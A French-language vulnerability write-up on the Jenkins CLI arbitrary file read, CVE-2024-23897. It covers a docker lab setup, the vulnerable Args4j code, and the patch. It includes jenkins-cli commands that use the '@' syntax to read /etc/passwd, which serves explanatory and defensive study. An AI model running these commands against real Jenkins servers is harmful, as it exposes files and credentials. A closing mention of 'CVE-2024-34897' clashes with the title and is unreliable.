
[CVE-2024-23897] Jenkins CI Authenticated Arbitrary File Read Through the CLI Leads to Remote Code Execution (RCE)
Jenkins est un outil DevOps d'automatisation logicielle open source autonome d'intégration continue, de livraison continue et de déploiement (CI/CD) écrit en langage de programmation Java. Il est utilisé pour implémenter des workflows CI/CD, appelés pipelines.
Jenkins dispose d'une interface en ligne de commande (CLI) intégrée pour accéder à Jenkins depuis un script ou un environnement shell. Jenkins utilise la bibliothèque Args4j pour analyser les arguments et options de commande sur le contrôleur Jenkins lors du traitement des commandes CLI. Cet analyseur de commandes possède une fonctionnalité qui remplace un caractère @ suivi d'un chemin de fichier dans un argument par le contenu du fichier (expandAtFiles). Cette fonctionnalité est activée par défaut et Jenkins 2.441 et versions antérieures, LTS 2.426.2 et versions antérieures ne la désactivent pas.
Cela permet aux attaquants de lire des fichiers arbitraires sur le système de fichiers du contrôleur Jenkins en utilisant l'encodage de caractères par défaut du processus du contrôleur Jenkins.
Configuration de l'environnement
root@kali:~$ docker pull jenkins/jenkins:2.440-jdk17
root@kali:~$ docker run -d -p 9091:8080 -p 50000:50000 --name murat2-jenkins jenkins/jenkins:2.440-jdk17
root@kali:~$ docker exec -t murat2-jenkins cat /var/jenkins_home/secrets/initialAdminPassword

Code vulnérable
Il convient de noter que cette vulnérabilité a été découverte par l'équipe de recherche en vulnérabilités de SonarSource et cette section est copiée à partir du blog technique de SonarSource.
Le code vulnérable se trouve dans la bibliothèque Args4j,
private String[] expandAtFiles(String args[]) throws CmdLineException {
List < String > result = new ArrayList < String > ();
for (String arg: args) {
if (arg.startsWith("@")) {
File file = new File(arg.substring(1));
if (!file.exists()) throw new CmdLineException(this, Messages.NO_SUCH_FILE, file.getPath());
try {
result.addAll(readAllLines(file));
} catch(IOException ex) {
throw new CmdLineException(this, "Failed to parse " + file, ex);
}
} else {
result.add(arg);
}
}
return result.toArray(new String[result.size()]);
}
La méthode expandAtFiles dans la classe CmdLineParser.java remplace essentiellement un caractère @ suivi d'un chemin de fichier dans un argument par le contenu du fichier : elle vérifie si l'argument commence par le caractère @, et si c'est le cas, elle lit le fichier situé au chemin après le @ et développe un nouvel argument pour chaque ligne. Cela signifie que si un attaquant peut contrôler un argument, il peut le développer en un nombre arbitraire d'arguments à partir d'un fichier arbitraire sur l'instance Jenkins.
Une façon pour un attaquant d'exploiter cela est de trouver une commande qui prend un nombre arbitraire d'arguments et les affiche à l'utilisateur. Puisque les arguments sont issus du contenu du fichier, un attaquant pourrait ainsi divulguer le contenu du fichier. À cette fin, la commande connect-node dans hudson/cli semble être un bon candidat : elle reçoit une liste de chaînes comme argument et tente de se connecter à chacune d'elles. En cas d'échec, un message d'erreur est généré avec le nom du nœud de connexion ayant échoué.
public class ConnectNodeCommand extends CLICommand {
@Argument(
metaVar = "NAME",
usage = "Agent name, or empty string for built-in node; comma-separated list is supported",
required = true,
multiValued = true
)
private List < String > nodes;
//...
@Override
protected int run() throws Exception {
//...
for (String node_s: hs) {
try {
Computer computer = Computer.resolveForCLI(node_s);
computer.cliConnect(force);
} catch(Exception e) {
//...
final String errorMsg = node_s + ": " + e.getMessage();
stderr.println(errorMsg);
//...
}
}
//...
}
}
Cette commande connect-node nécessiterait normalement l'autorisation CONNECT, qui est vérifiée dans la fonction cliConnect. Mais comme l'exception est lancée avant la vérification des autorisations dans la fonction resolveForCLI, la commande ne nécessite en réalité aucune autorisation hormis la vérification initiale en lecture seule.
Étapes d'exploitation
Normalement, le @ dans Jenkins-cli est utilisé pour spécifier un fichier contenant le jeton d'accès (bearer token) ou nom_utilisateur:mot_de_passe à partir d'un fichier.
L'utilisation d'une commande authentifiée avec Jenkins-cli produit la sortie suivante :
root@kali:~$ java -jar jenkins-cli.jar -s http://127.0.0.1:9091 -http connect-node "@/etc/passwd"

L'utilisation du caractère @ pour spécifier le fichier credentials.txt dans le commutateur -auth produit ce qui suit :
root@kali:~$ java -jar jenkins-cli.jar -s http://127.0.0.1:9091 -auth @credentials.txt -http connect-node "@/etc/passwd"

Analyse du correctif
L'équipe de sécurité de Jenkins a corrigé CVE-2024-23897 en introduisant une configuration sécurisée qui désactive la fonctionnalité expandAtFiles. Le correctif inclut l'ajout d'une vérification d'origine au point de terminaison WebSocket pour CVE-2024-23898, empêchant les accès non autorisés.
Commit concerné : jenkinsci/jenkins@554f037

ALLOW_AT_SYNTAX : Cette variable est un booléen indiquant si la syntaxe '@' est autorisée. Elle est lue à partir des propriétés système.ParserProperties : Cette classe fournit des propriétés pour configurer le CmdLineParser.withAtSyntax(ALLOW_AT_SYNTAX) : Elle définit la propriété 'allowAtSyntax' dans le ParserProperties en fonction de la valeur de ALLOW_AT_SYNTAX.new CmdLineParser(this, properties) : Cela crée une nouvelle instance de CmdLineParser, en passant l'objet courant (this) et le ParserProperties configuré.Plus d'informations sur la vulnérabilité CVE-2024-34897 et les crédits sont les suivants :